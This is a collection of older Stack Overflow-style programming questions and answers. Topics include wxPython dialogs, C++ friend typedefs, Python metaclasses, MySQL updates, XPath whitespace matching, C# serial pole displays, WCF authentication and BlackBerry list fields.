<pre><code>Project | Options | Application | [ ] Enable Run Time Themes
</code></pre>
|
wxPython and sharing objects between windows <p>I've been working with python for a while now and am just starting to learn wxPython. After creating a few little programs, I'm having difficulty understanding how to create objects that can be shared between dialogs.</p>
<p>Here's some code as an example (apologies for the length - I've tried to trim):</p>
<pre><code>import wx
class ExampleFrame(wx.Frame):
"""The main GUI"""
def __init__(self, parent, id, title):
wx.Frame.__init__(self, parent, id, title, size=(200,75))
mainSizer = wx.BoxSizer(wx.VERTICAL)
# Setup buttons
buttonSizer = wx.BoxSizer(wx.HORIZONTAL)
playerButton = wx.Button(self, wx.ID_ANY, "Player number", wx.DefaultPosition, wx.DefaultSize, 0)
buttonSizer.Add(playerButton, 1, wx.ALL | wx.EXPAND, 0)
nameButton = wx.Button(self, wx.ID_ANY, "Player name", wx.DefaultPosition, wx.DefaultSize, 0)
buttonSizer.Add(nameButton, 1, wx.ALL | wx.EXPAND, 0)
# Complete layout and add statusbar
mainSizer.Add(buttonSizer, 1, wx.EXPAND, 5)
self.SetSizer(mainSizer)
self.Layout()
# Deal with the events
playerButton.Bind(wx.EVT_BUTTON, self.playerButtonEvent)
nameButton.Bind(wx.EVT_BUTTON, self.nameButtonEvent)
self.Show(True)
return
def playerButtonEvent(self, event):
"""Displays the number of game players"""
playerDialog = PlayerDialogWindow(None, -1, "Player")
playerDialogResult = playerDialog.ShowModal()
playerDialog.Destroy()
return
def nameButtonEvent(self, event):
"""Displays the names of game players"""
nameDialog = NameDialogWindow(None, -1, "Name")
nameDialogResult = nameDialog.ShowModal()
nameDialog.Destroy()
return
class PlayerDialogWindow(wx.Dialog):
"""Displays the player number"""
def __init__(self, parent, id, title):
wx.Dialog.__init__(self, parent, id, title, size=(200,120))
# Setup layout items
self.SetAutoLayout(True)
mainSizer = wx.BoxSizer(wx.VERTICAL)
dialogPanel = wx.Panel(self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL)
dialogSizer = wx.BoxSizer(wx.VERTICAL)
# Display player number
playerNumber = "Player number is %i" % gamePlayer.number
newLabel = wx.StaticText(dialogPanel, wx.ID_ANY, playerNumber, wx.DefaultPosition, wx.DefaultSize, 0)
dialogSizer.Add(newLabel, 0, wx.ALL | wx.EXPAND, 5)
# Setup buttons
buttonSizer = wx.StdDialogButtonSizer()
okButton = wx.Button(dialogPanel, wx.ID_OK)
buttonSizer.AddButton(okButton)
buttonSizer.Realize()
dialogSizer.Add(buttonSizer, 1, wx.EXPAND, 5)
# Complete layout
dialogPanel.SetSizer(dialogSizer)
dialogPanel.Layout()
dialogSizer.Fit(dialogPanel)
mainSizer.Add(dialogPanel, 1, wx.ALL | wx.EXPAND, 5)
self.SetSizer(mainSizer)
self.Layout()
# Deal with the button events
okButton.Bind(wx.EVT_BUTTON, self.okClick)
return
def okClick(self, event):
"""Deals with the user clicking the ok button"""
self.EndModal(wx.ID_OK)
return
class NameDialogWindow(wx.Dialog):
"""Displays the player name"""
def __init__(self, parent, id, title):
wx.Dialog.__init__(self, parent, id, title, size=(200,120))
# Setup layout items
self.SetAutoLayout(True)
mainSizer = wx.BoxSizer(wx.VERTICAL)
dialogPanel = wx.Panel(self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL)
dialogSizer = wx.BoxSizer(wx.VERTICAL)
# Display player number
playerNumber = "Player name is %s" % gamePlayer.name
newLabel = wx.StaticText(dialogPanel, wx.ID_ANY, playerNumber, wx.DefaultPosition, wx.DefaultSize, 0)
dialogSizer.Add(newLabel, 0, wx.ALL | wx.EXPAND, 5)
# Setup buttons
buttonSizer = wx.StdDialogButtonSizer()
okButton = wx.Button(dialogPanel, wx.ID_OK)
buttonSizer.AddButton(okButton)
buttonSizer.Realize()
dialogSizer.Add(buttonSizer, 1, wx.EXPAND, 5)
# Complete layout
dialogPanel.SetSizer(dialogSizer)
dialogPanel.Layout()
dialogSizer.Fit(dialogPanel)
mainSizer.Add(dialogPanel, 1, wx.ALL | wx.EXPAND, 5)
self.SetSizer(mainSizer)
self.Layout()
# Deal with the button events
okButton.Bind(wx.EVT_BUTTON, self.okClick)
return
def okClick(self, event):
"""Deals with the user clicking the ok button"""
self.EndModal(wx.ID_OK)
return
class Player(object):
"""A game player"""
def __init__(self, number, name):
self.number = number
self.name = name
return
def main():
# Start GUI
global gamePlayer
gamePlayer = Player(1, "John Smith")
app = wx.App(redirect=False)
frame = ExampleFrame(None, -1, "Example frame")
frame.Show(True)
app.MainLoop()
return 0
if __name__ == '__main__':
main()
</code></pre>
<p>So, I want both of the dialogs to access the gamePlayer object. At the moment, the only way I can think of doing it is to create the gamePlayer object as a global object, but these are normally frowned upon - is there a better way to do this?</p>
<p>There is a method of passing objects in event bindings in <a href="http://stackoverflow.com/questions/173687?sort=votes" rel="nofollow">this question</a>, but it doesn't feel quite right.</p>
<p>Is learning to implement the MVC pattern the way forward here?</p>
<p>Thanks.</p>
| <p>You can pass a gamePlayer object to <code>__init__</code> as another argument.</p>
<pre><code>def __init__(self, parent, id, title, gamePlayer ):
...etc...
</code></pre>
<p>In the long run, this isn't ideal. </p>
<p>You should separate building an empty panel from loading that panel with data. The empty panel is one thing, populating it with data from the model is unrelated.</p>
<p>Populating a frame with data is where you must be given the gamePlayer object which will be used to update the various display widgets.</p>
<p>I'd suggest you look at the Document-View framework for guidance on this. <a href="http://docs.wxwidgets.org/stable/wx_docviewoverview.html#docviewoverview" rel="nofollow">http://docs.wxwidgets.org/stable/wx_docviewoverview.html#docviewoverview</a>. Unfortunately, there aren't any good Python examples of this, so it can be confusing to convert from the C++ code to Python.</p>
<p>Ultimately, you have a "document" which is the main object ("gamePlayer") that is being displayed. Each Frame is a view of that document.</p>
|
Why can't I declare a friend through a typedef? <p>Does anyone know why typedefs of class names don't work like class names for the friend declaration?</p>
<pre><code>class A
{
public:
};
class B : public A
{
public:
typedef A SUPERCLASS;
};
typedef A X;
class C
{
public:
friend class A; // OK
friend class X; // fails
friend class B::SUPERCLASS; // fails
};
</code></pre>
| <p>It can't, currently. I don't know the reason yet (just looking it up, because i find it interesting). Update: you can find the reason in the first proposal to support typedef-names as friends: <a href="http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2003/n1520.pdf">http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2003/n1520.pdf</a> . The reason is that the Standard only supported elaborated-type-specifiers. It's easy to allow only those, and say if the entity declared as friend is not declared yet, it will be made a member of the surrounding namespace. But this means that if you want to use a template parameter, you would have to do (a class is required then for example)</p>
<pre><code>friend class T;
</code></pre>
<p>But that brought additional problems, and it was figured not worth the gain. Now, the paper proposes to allow additional type specifiers to be given (so that this then allows use of template parameters and typedef-names).</p>
<p>The next C++ version (due to 2010) will be able to do it. </p>
<p>See this updated proposal to the standard: <a href="http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2005/n1791.pdf">http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2005/n1791.pdf</a> . It will not allow only typedef names, but also template parameters to be used as the type declared as friend.</p>
|
What are your (concrete) use-cases for metaclasses in Python? <p>I have a friend who likes to use metaclasses, and regularly offers them as a solution.</p>
<p>I am of the mind that you almost never need to use metaclasses. Why? because I figure if you are doing something like that to a class, you should probably be doing it to an object. And a small redesign/refactor is in order.</p>
<p>Being able to use metaclasses has caused a lot of people in a lot of places to use classes as some kind of second rate object, which just seems disastrous to me. Is programming to be replaced by meta-programming? The addition of class decorators has unfortunately made it even more acceptable.</p>
<p>So please, I am desperate to know your valid (concrete) use-cases for metaclasses in Python. Or to be enlightened as to why mutating classes is better than mutating objects, sometimes.</p>
<p>I will start:</p>
<blockquote>
<p>Sometimes when using a third-party
library it is useful to be able to
mutate the class in a certain way.</p>
</blockquote>
<p>(this is the only case I can think of, and it's not concrete)</p>
| <p>The purpose of metaclasses isn't to replace the class/object distinction with metaclass/class - it's to change the behaviour of class definitions (and thus their instances) in some way. Effectively it's to alter the behaviour of the class statement in ways that may be more useful for your particular domain than the default. The things I have used them for are:</p>
<ul>
<li><p>Tracking subclasses, usually to register handlers. This is handy when using a plugin style setup, where you wish to register a handler for a particular thing simply by subclassing and setting up a few class attributes. eg. suppose you write a handler for various music formats, where each class implements appropriate methods (play / get tags etc) for its type. Adding a handler for a new type becomes:</p>
<pre><code>class Mp3File(MusicFile):
extensions = ['.mp3'] # Register this type as a handler for mp3 files
...
# Implementation of mp3 methods go here
</code></pre>
<p>The metaclass then maintains a dictionary of <code>{'.mp3' : MP3File, ... }</code> etc, and constructs an object of the appropriate type when you request a handler through a factory function.</p></li>
<li><p>Changing behaviour. You may want to attach a special meaning to certain attributes, resulting in altered behaviour when they are present. For example, you may want to look for methods with the name <code>_get_foo</code> and <code>_set_foo</code> and transparently convert them to properties. As a real-world example, <a href="http://code.activestate.com/recipes/498149/">here's</a> a recipe I wrote to give more C-like struct definitions. The metaclass is used to convert the declared items into a struct format string, handling inheritance etc, and produce a class capable of dealing with it.</p>
<p>For other real-world examples, take a look at various ORMs, like <a href="http://www.sqlalchemy.org/">sqlalchemy's</a> ORM or <a href="http://www.sqlobject.org/">sqlobject</a>. Again, the purpose is to interpret defintions (here SQL column definitions) with a particular meaning.</p></li>
</ul>
|
Passing a value from PHP to JavaScript <p>I have PHP code as in the following.</p>
<pre><code><?php
echo "<SCRIPT LANGUAGE='javascript'>add dd_Employee('".$id1."','".$fname1."',".$sal1.");</SCRIPT>";
echo "<SCRIPT LANGUAGE='javascript'>add dd_Employee('".$id2."','".$fname2."',".$sal2.");</SCRIPT>";
....
?>
...
</code></pre>
<p>And my JavaScript code contains</p>
<pre><code>var details=new Array();
function addEmployee(id,fname,salary){
var temp=new Array(id,fname,salary);
details[details.length]=temp;
alert(temp);
}
function displayEmployee(){
for (var i=0;i<details.length;i++)
var temp_details=details[i];
//Display the id,name,sal
var id=temp_details[0];
var name=temp_details[1];
var sal=temp_details[2];
alert(id);
alert(name);
alert(sal);
}
</code></pre>
<p>Now the problem is whatever assigned by the PHP will visble only in <code>AddEmployee</code>. Which means it is working fine. But inside <code>displayEmployee</code> the value assigned by PHP will not work. Is there any flaw in my logic?</p>
| <p>Just populate your global data structure directly rather than passing it through a JavaScript function. You are likely running into a variable scope problem since you are allocating memory in addEmployee.</p>
<p>Example:</p>
<pre><code><?php
print "details[details.length] = new Array('$id1', '$name1', '$salary1');\n";
?>
</code></pre>
|
Using 64 bit OS for .Net development in VS <p>My development machine ( 32 bit Windows XP) runs excruciatingly slow when I am doing .Net development in Visual Studio 2008, thanks to the <a href="http://itscommonsensestupid.blogspot.com/2008/10/impressions-on-resharper.html" rel="nofollow">installation of Resharper</a>. So I am thinking about switching my development machine to 64 bit Windows XP. </p>
<p>Not sure whether such a switch will speed up the development or not? 64 bit machines don't have memory problem, so the memory problem with Resharper can be solved by throwing in more and more RAM.</p>
<p>Anyone develops using 64 bit OS? Care to share your experience?</p>
| <p>64 bit will not solve you memory problem with Resharper 4.0, since Visual Studio 2008 runs as a 32 bit process anyway. <a href="http://rabdullin.com/journal/2008/12/19/resharper-45-features-and-release-date.html" rel="nofollow">Resharper 4.5</a> will deal with some of the problems, though.</p>
<p>PS: Here's my post on developing under 64 bit: <a href="http://rabdullin.com/journal/2008/6/23/using-windows-server-2008-64-bit-as-a-development-workstatio.html" rel="nofollow">Using Windows Server 2008 64 bit as a development workstation</a></p>
|
Adding parameters for a program at launch <p>I'm currently trying to make a small application that performs different duties. Right now I have a console app pop up and ask what I want to do, but sometimes I would rather just launch it with something like MyApp.exe -printdocuments or some such thing. </p>
<p>Are there any tutorials out there that can show me a simple example of this?</p>
| <p>In C++, your <code>main()</code> function can have <code>argc</code> and <code>argv</code> parameters, which contain the arguments passed on the command line. The <code>argc</code> is the count of arguments (including the executable name itself), and <code>argv</code> is an array of pointers to null-terminated strings of length <code>argc</code>.</p>
<p>For example, this program prints its arguments:</p>
<pre><code>#include <stdio.h>
int main(int argc, char *argv[])
{
for (int i = 0; i < argc; i++) {
printf("argv[%d]: %s\n", i, argv[i]);
}
return 0;
}
</code></pre>
<p>Any C or C++ tutorial will probably have more information on this.</p>
|
Pole display problem in c# <p>I used pole display(E POS) in my POS c# application.I have two major problem in that,
1. I can't clear the display perfectly.
2. I can't set the cursor position.</p>
<pre><code> I used some dirty tricks to do these.But I am not satisfied with that code.The following code i used.
</code></pre>
<p>Code :-</p>
<pre><code>class PoleDisplay : SerialPort
{
private SerialPort srPort = null;
public PoleDisplay()
{
try
{
srPort = new SerialPort("COM1", 9600, Parity.None, 8, StopBits.One);
if (!srPort.IsOpen) srPort.Open();
}
catch { }
}
~PoleDisplay()
{
srPort.Close();
}
//To clear Display.....
public void ClearDisplay()
{
srPort.Write(" ");
srPort.WriteLine(" ");
}
//Display Function
//'line' 1 for First line and 0 For second line
public void Display(string textToDisplay, int line)
{
if (line == 0)
srPort.Write(textToDisplay);
else
srPort.WriteLine(textToDisplay);
}
}
</code></pre>
| <p>Your problem is that you are calling Write to clear line 1, and WriteLine to clear line 2.</p>
<p>This doesn't make any sense. The only difference between the methods is that WriteLine adds a linebreak to the end. All you are really doing is this outputting this string:</p>
<pre><code> " "\r\n
</code></pre>
<p>Without knowing the brand of the pole display you are using, I can't tell you the proper way to do it, but the way you are trying to do it will never work. Most terminals accept special character codes to move the cursor, or clear the display. Have you found a reference for the terminal you are working with? Most displays will clear if you send them CHR(12).</p>
<p>All that aside, there is a major problem with your class design. You should never rely on destructors to free resources in C#. </p>
<p>In C#, the destructor will be called when the garbage collector collects the object, so there is no deterministic way to know when the resource (in this case a Com port), will be collected and closed.</p>
<p>Instead, implement the interface IDisposable on your class.</p>
<p>This requires you to add a Dispose method to your class. This would serve the same purpose as your current destructor.</p>
<p>By doing that, you can utilize a built in language feature in C# to release your resources when the object goes out of scope.</p>
<pre><code>using (PoleDisplay p = new PoleDisplay())
{
// Do Stuff with p
}
// When the focus has left the using block, Dispose() will be called on p.
</code></pre>
|
how to prevent PHP's file_get_contents( ) <p>one of my php page returns data like this:</p>
<pre><code><?php
//...
echo "json string";
?>
</code></pre>
<p>but someone else use file_get_contents() to get my data and use in other website.</p>
<p>can anybody tell me what can i do to prevent such thing happen. </p>
<p>i consider if i can get the request's domain name to echo something else.but i dont know </p>
<p>the function to get request's domain name.and if the request is sent by a server,that </p>
<p>will be unhelpful. My English is poor, to express doubts, please bear with.</p>
| <p>You can use $_SERVER['REMOTE_ADDR'] to get the address of the client address. You can also check $_SERVER['HTTP_REFERER'] and block external requests that way, but it's less reliable. There's probably a few other techniques involving <a href="http://us3.php.net/reserved.variables.server" rel="nofollow">$_SERVER</a> that you can try.</p>
|
NHibernate Transactions in Open View per Session - suggested practices? <p>Cleaning up some transactional logic and wondered how other people were handling it.</p>
<p>Ayende's recommendation seems to be to handle transactions at the service boundary. This is a ASP.NET web app though, so it hasn't got a clear cut service boundary, at least not right now.</p>
<p>What do people do? </p>
<ul>
<li>Create a single transaction per request in a HttpModule and handle commit on EndRequest, rollback on Error?</li>
<li>Create transactions in the actual "services" in the application and handle it multiple places?</li>
<li>Something else?</li>
</ul>
| <p>You can use a IoC Container for your service layer and the container can manage the transaction and the Nibenrate Session.</p>
<p>Your WebApp Controller => call (A) Service Layer => call (B) one or several DAO methods /operations.</p>
<p>The IoC container like Spring.NET will manage te TX scope, by example at (A) and will provide a Session to your DAO in (B). The commit (or rollback) will be handled at the end of the service layer call.</p>
|
How to do it in mysql: If id=idold THEN UPDATE status=1 <p>I would like to compare two tables and then update if some logic is true,
<BR>
In pseudo code:</p>
<p>SELECT * FROM users, usersold IF users.id=usersold.id THEN UPDATE users.status=1;</p>
<p>Is there a way to do it in mysql?</p>
| <pre><code>UPDATE users u
SET status = 1
WHERE EXISTS (SELECT id FROM usersold WHERE id = u.id)
</code></pre>
<p>Alternate version:</p>
<pre><code>UPDATE users
SET status = 1
WHERE id IN (SELECT id FROM usersold)
</code></pre>
<p>You should test and, depending on your database, you may find one performs better than the other although I expect any decent database will optimize then to be much the same anyway.</p>
|
Force use of CDATA in XML-schema <p>I am creating an xml schema, and I want to make sure that the values in all the elements
are CDATA elements.</p>
<p>Is there a way to force this using XML-schema?</p>
| <p>As I recall XML Schema works on the XML Infoset, meaning with the XML document after it is parsed, entities are resolved, whitespace is normalised and CDATA is processed. CDATA is a way of easing the textual serialization not a part of the structural model. So: No. Neither in DTDs or RELAX NG.</p>
|
Showing flash above content <p>I have a page with a tutorial (<a href="http://www.poromenos.org/tutorials/bittorrent/download" rel="nofollow">http://www.poromenos.org/tutorials/bittorrent/download</a>), but the site layout obscures the flash player, which is too wide. Is there a way to show the flash above the content through the z-order (or something else, lightbox-y)?</p>
| <p>You could place IFrame with player- it would be above all page content</p>
|
FAST ESP vs Google Search Appliance for development <p>Which of the two provides a better API for developing on top of?
Although there is a virtual Google Search Appliance available for download, no such equivalent is present for FAST.<br />
So looking to developers with experience in either of these products to give suggestions and links to documentation. (especially for FAST as there's none available on their site)</p>
<p>Kind regards,</p>
| <p>I'm pretty sure that FAST does not provide a trial download of their Enteprise Search Platform (ESP) today nor it's SDK (which is useless without ESP).</p>
<p>FAST is pretty much the industry leader for customization (Google is popular as simple out of the box solution and Autonomy seems to be the leader in compliance) which is what you are likely intrested in an API for. But not Cheap. Internal Python customization for processing documents, exteral .NET & Java API for interacting with the service.</p>
<p>Also, you if you are looking for a basic Enteprise Search + API, google on "Solr" project.</p>
|
How to get the device name in C#? <p>How can I get my device name (using WinCE) in C# code ?</p>
<p>It gives me only "WindowsCE" how can i get the type on name of the device ? (ex. symbol or datalogic or mio...)</p>
| <p>The registry value HKEY_LOCAL_MACHINE\Ident\Name contains the device name. Use the registry library to read it.</p>
|
Is Symfony a better choice than Zend for a web development shop (10+) because it is a full stack framework? <p>My team at work is considering to use a framework for developing web sites and applications. Some of the seniors are convinced we should use the Zend Framework because it is easier to pick-and-choose the features so the framework we will be light-weight. </p>
<p>I'm afraid however that they are only looking at the technical advantages that a lightweight framework will have. In my opinion it is better to have a full-stack framework (and I am a proponent of Symfony) because </p>
<ol>
<li>It will also provide us with a standard way of working without writing new documentation.</li>
<li>If we would like to use new features we would only have to read the documentation to see how it can be used instead of having to build it into our setup of Zend first.</li>
</ol>
<p>I don't expect all my questions to be answered by everybody but this is what I am looking for in the answer: </p>
<ul>
<li>Do I have a point here? </li>
<li>Have you been in a similar situation and how did you handle that? </li>
<li>Do you have more arguments that I could use OR could make me reconsider my own opinion? </li>
</ul>
<p>The context:
I work at a small shop with about 10 programmers. We mostly program PHP. We use a really simple inhouse developed framework and ORM library that are practically undocumented and lack anything but the most basic features (no validators, no transactions, no caching, no authentication)</p>
| <p>And why not both? I have been using symfony since 2006, have been a real Doctrine fan for one year, and for a few months, we've reach many steps on the productivity ladder by integrating Zend components directly onto our symfony applications.</p>
<p>The real strength of symfony lies on the decoupling of everything, and the easy extensibility of the framework. You can replace almost every layer of the whole thing. Just copy/paste the Zend directory in /lib/, and add this singleton in /config/ProjectConfiguration.class.php:</p>
<pre><code> static public function registerZend()
{
if (self::$zendLoaded)
{
return;
}
sfToolkit::addIncludePath(sfConfig::get('sf_lib_dir') . '/vendor', 'back');
require_once(sfConfig::get('sf_lib_dir') . '/vendor/Zend/Loader.php');
Zend_Loader::registerAutoload();
self::$zendLoaded = true;
}
</code></pre>
<p>And use freely any Zend component you might like.
You might be interested in the new Jobeet tutorial, and especially at the Search part, which uses Zend_Lucene_Search.</p>
|
Figure out the focused control <p>I'm trying to add a CSS class to the Control that will get the focus, once a page is rendered. While the SetFocus() method of the Page class lets me set the Control, there is no corresponding GetFocus() method.</p>
<p>According to the .Net sources, the information is stored in the private member _focusedControl of the Page class. The property FocusedControl is marked internal. </p>
<p>Is there a way to get the value of the private member or internal property by using Reflection?</p>
<p>Any help would be greatly appreciated.</p>
<p><strong>Clarification:</strong>
Here is why I want to add a CssClass server side: I'm trying to apply the following
JQuery script, that changes the background of the focused element:</p>
<pre><code>$(document).ready(function() {
var elements = jQuery("textarea, select, multi-select, :text, :password, :file");
elements.bind
(
'focus',
function() {
jQuery(this).addClass('highlightinput');
}
);
elements.bind
(
'blur',
function() {
jQuery(this).removeClass('highlightinput');
}
);
})
</code></pre>
<p>This works fine as long as I don't specifically set a focused control in my aspx.vb. If I do set a focused control (I think due to a timing issue), the focus is set before my handlers are attached to the input fields and thus, the input is not highlighted. So my approach would be to add the highlightinput class to the focused control before rendering the page.</p>
| <p>If you are looking for a css solution for highlighting the focused element I believe you can use the ':focus' selector. I haven't tried this, but I believe this is a valid selector. You would use it like so in your css file:</p>
<pre><code>:focus{ background-color: yellow;}</code></pre>
|
What is a good scripting language for basic file operations? <p>I often need to copy, move or rename files and directories based on some criteria as I collect data from many resources and I like to keep things organized. What scripting language provides the most intuitive and easy to use methods for these operations? Here is an example scenario:</p>
<p>I keep my music in a folder hierarchy like below:</p>
<pre><code>&Artist Name(upper case letters)&
-- (&album release year&) &album name&
---- \*.*
</code></pre>
<p>I want to find out which folders break these rules under my music folder. I would also like to make them fit to the structure I use, if they have a consistent but different structure of file naming and directory schemes.</p>
<p>I work in both Windows and Linux, so I thought of giving bash a try (thanks to cygwin) as I am familiar with it a little. What do you guys think? Is there a better solution?</p>
| <p>If you have cygwin use either bash script or install Python, Perl, or Ruby and use them instead. There is no real "best" when it comes to basic file operations. Just pick which language you like most.</p>
|
Auto accepting contacts using phpmsnclass <p>Hello
I'm currently using <a href="http://code.google.com/p/phpmsnclass/" rel="nofollow">phpmsnclass</a> to send messages to contacts on the MSN network. But to get the nickname on my "bot" to work I have to accept the "friend-request" my contacts has sent me.</p>
<p>From the debuginfo I have found that around line 1672 in the file msn.clas.php it's a kind of auto-accepting feature. But I cant use the doLoop function that has this feature cause it never ends.</p>
<p>So is there anyone who has time to check this out for me, or have another framework for working with msn that may be better on this? Have read about the MSN Network a lot now, but I haven't got the knowledge of doing this out of my own mind, I need some hints.</p>
<p>In advance: thanks</p>
| <p>I'm not quite sure of how you would go about this but have you thought of a two part check? One that runs while the program is active, and then while it it active check to see if the feature someone is trying to add the bot. If someone is then proceed to auto accept. This would require a response time though. I hope the pseudo-code below, as rough as it is, helps at least a bit.</p>
<pre><code>while (program is running)
if (pendingRequest == true){
doSomething
}
}
</code></pre>
|
Where can I find a good FFT sample implementation/tutorial? <p>I've been looking everywhere for a sample Fast Fourier Transform implementation/tutorial in (preferably) C#.</p>
<p>However, every one I've found has been poor at explaining what's going on, and/or poorly commented; or they assume that you already know the FFT algorithm, or they're tutorials about how to USE FFTs.</p>
<p>Anyone know of a good sample/tutorial? </p>
| <p><em>Apologies for lack of hyperlinks, I do not have permissions to add them</em> :(</p>
<p>You are asking for two things here</p>
<p><strong>1) An explanation of the FFT</strong></p>
<p>Very briefly:</p>
<p>If you want to obtain the frequency domain representation of a signal you use the <em>fourier transform</em>, this is a mathematical transform which transforms a signal from the time domain to the frequency domain. When operating on digital signals we have a set of discrete samples so we must use the <em>Discrete Fourier Transform</em> or DFT. However this is a rather slow operation and is easily optimised, so we instead use a <em>Fast Fourier Transform</em> algorithm or FFT.</p>
<p>This is a large signal processing topic so I suggest you look for a signal processing book to use as a reference. I suggest "Digital Signal Processing: A Practical Approach". There is of course the ubiquitous wikipedia article as well.</p>
<p><strong>2) An implementation of the FFT</strong></p>
<p>Because of the highly optimised nature of the FFT platforms and languages often have specific implementations, you should check headers and documentation (typically it will be found in an 'audio' section) in case it is included in a standard library.</p>
<p>If you want to implement the algorithm yourself I recommend finding a copy of Numerical Recipes, this contains an entire chapter on the FFT, as well as a chapter on "Fourier and Spectral Applications". There is well documented pseudocode which should be easy to transcribe into any language.</p>
<p>For a third party solution a popular choice is FFTW, a C library. I google search for "FFT Library" will provide you with some alternatives.</p>
|
Would you recommend Java/Glassfish/Metro for brand-new project? <p>I developed in ASP.NET 2.0 for some time, and for slightly less time in Java/Spring/Hibernate. Right now I start developing new web-service and am confused with the choice of:</p>
<p>.NET WCF 3.5 versus Java/Metro.</p>
<p>From one side, WCF seems like a brilliantly developed solution, a masterpiece of software frameworks, with all the support for functional languages, easy wizards, simple architecture. The downside is that it seems to be running on Windows only (Mono doesn't support WCF) and doesn't integrate so beautifully with Ruby on Rails (through JRuby as Java does).</p>
<p>And Java seems really outdated -- no operator overloading or generic arrays?!</p>
<p>So, my main question is: <strong>would anyone here start a new project using Java or is it just a dying language for legacy software?</strong></p>
<p>PS. <em>Both</em> performance <em>and</em> database connectivity are major priorities so that leaves slow Perl, Ruby, or Python and database-unfriendly C++ out of the question.</p>
<p>PPS. For presentation layer I'm using Ruby on Rails.</p>
| <p>If you are building a Rails application, JRuby on Glassfish is a winning combination. I have five Rails apps deployed to Glassfish and I haven't had any problems so far. I have been impressed with the performance and deployment was super easy.</p>
|
WCF Authentication WITHOUT SSL <p>Is there a way to setup authentication (ala "Basic Authentication") without actually setting up an SSL Certificate? I'd also like to do this in REST or regular SOAP WCF Services, preferably in REST, but would like to be able to mix the services. In other words, "I want to be able to send a regular old username and password just like in Basic Authentication but without the SSL." Is there a way to do this?</p>
| <p>Use TransportCredentialOnly security mode. This post explains how to do it:</p>
<p><a href="http://developers.de/blogs/damir_dobric/archive/2006/07/31/890.aspx">http://developers.de/blogs/damir_dobric/archive/2006/07/31/890.aspx</a>.</p>
<p>Don't forget that you also have to enable basic authentication in IIS.</p>
|
Locating the node by value containing whitespaces using XPath <p>I need to locate the node within an xml file by its value using XPath.
The problem araises when the node to find contains value with whitespaces inside.
F.e.:</p>
<pre><code><Root>
<Child>value</Child>
<Child>value with spaces</Child>
</Root>
</code></pre>
<p>I can not construct the XPath locating the second Child node.</p>
<p>Simple XPath /Root/Child perfectly works for both children, but /Root[Child=value with spaces] returns an empty collection.</p>
<p>I have already tried masking spaces with <strong>%20</strong>, <strong>& #20;</strong>, <strong>& nbsp;</strong> and using quotes and double quotes.</p>
<p>Still no luck.</p>
<p>Does anybody have an idea?</p>
| <p><strong>Depending on your exact situation, there are different XPath expressions that will select the node</strong>, whose value contains some whitespace.</p>
<p>First, let us recall that any one of these characters is "whitespace":</p>
<p> <strong><code>&#x09;</code></strong> -- the Tab</p>
<p> <strong><code>&#xA;</code></strong> -- newline</p>
<p> <strong><code>&#xD;</code></strong> -- carriage return</p>
<p> <strong><code>' '</code></strong> or <strong><code>&#x20;</code></strong> -- the space</p>
<p>If you know the exact value of the node, say it is "<code>Hello World</code>" with a space, then a most direct XPath expression:</p>
<p> <strong><code>/top/aChild[. = 'Hello World']</code></strong></p>
<p>will select this node.</p>
<p><em>The difficulties with specifying a value that contains whitespace, however, come from the fact that we see all whitespace characters just as ... well, whitespace</em> and don't know if a it is a group of spaces or a single tab.</p>
<p><strong>In <a href="http://www.w3.org/TR/xpath20/">XPath 2.0</a> one may use <a href="http://www.w3.org/TR/xpath-functions/#regex-syntax">regular expressions</a> and they provide a simple and convenient solution</strong>. Thus we can use an XPath 2.0 expression as the one below:</p>
<p> <strong><code>/*/aChild[matches(., "Hello\sWorld")]</code></strong></p>
<p>to select any child of the top node, whose value is the string "Hello" followed by whitespace followed by the string "World". <strong>Note</strong> the use of the <a href="http://www.w3.org/TR/xpath-functions/#func-matches"><strong><code>matches()</code></strong></a> function and of the "<strong><code>\s</code></strong>" pattern that matches whitespace.</p>
<p><strong>In <a href="http://www.w3.org/TR/xpath">XPath 1.0</a></strong> a convenient test if a given string contains any whitespace characters is:</p>
<p><strong><code>not(string-length(.)= stringlength(translate(., ' &#9;&#xA;&#xD;','')))</code></strong></p>
<p>Here we use the <a href="http://www.w3.org/TR/xpath#function-translate"><strong><code>translate()</code></strong></a> function to eliminate any of the four whitespace characters, and compare the length of the resulting string to that of the original string.</p>
<p>So, if in a text editor a node's value is displayed as </p>
<p>"Hello World", </p>
<p>we can safely select this node with the XPath expression:</p>
<p><strong><code>/*/aChild[translate(., ' &#9;&#xA;&#xD;','') = 'HelloWorld']</code></strong></p>
<p>In many cases we can also use the XPath function <a href="http://www.w3.org/TR/xpath#function-normalize-space"><strong><code>normalize-space()</code></strong></a>, which from its string argument produces another string in which the groups of leading and trailing whitespace is cut, and every whitespace within the string is replaced by a single space.</p>
<p>In the above case, we will simply use the following XPath expression:</p>
<p><strong><code>/*/aChild[normalize-space() = 'Hello World']</code></strong></p>
|
BlackBerry - Add items to a ListField <p>Can someone please give me a simple example on how to add three rows to a ListField so that the list shows something like this?</p>
<p>Item 1</p>
<p>Item 2</p>
<p>Item 3</p>
<p>I just want to show a list in which the user can select one of the items and the program would do something depending on the item selected.</p>
<p>I've search all over the internet but it seems impossible to find a simple example on how to do this (most examples I found are incomplete) and the blackberry documentation is terrible.</p>
<p>Thanks!</p>
| <p>You probably want to look at using an ObjectListField. Handling the select action is done throught the containing Screen object, I've done this below using a MenuItem, I'm not really sure how to set a default select listener, you may have to detect key and trackwheel events.</p>
<p>Some example code for you: (not tested!)</p>
<pre><code>MainScreen screen = new MainScreen();
screen.setTitle("my test");
final ObjectListField list = new ObjectLIstField();
String[] items = new String[] { "Item 1", "Item 2", "Item 3" };
list.set(items);
screen.addMenuItem(new MenuItem("Select", 100, 1) {
public void run() {
int selectedIndex = list.getSelectedIndex();
String item = (String)list.get(selectedIndex);
// Do someting with item
});
screen.add(list);
</code></pre>
|
Restricting symbols in a Linux static library <p>I'm looking for ways to restrict the number of C symbols exported to a Linux static library (archive). I'd like to limit these to only those symbols that are part of the official API for the library. I already use 'static' to declare most functions as static, but this restricts them to file scope. I'm looking for a way to restrict to scope to the library.</p>
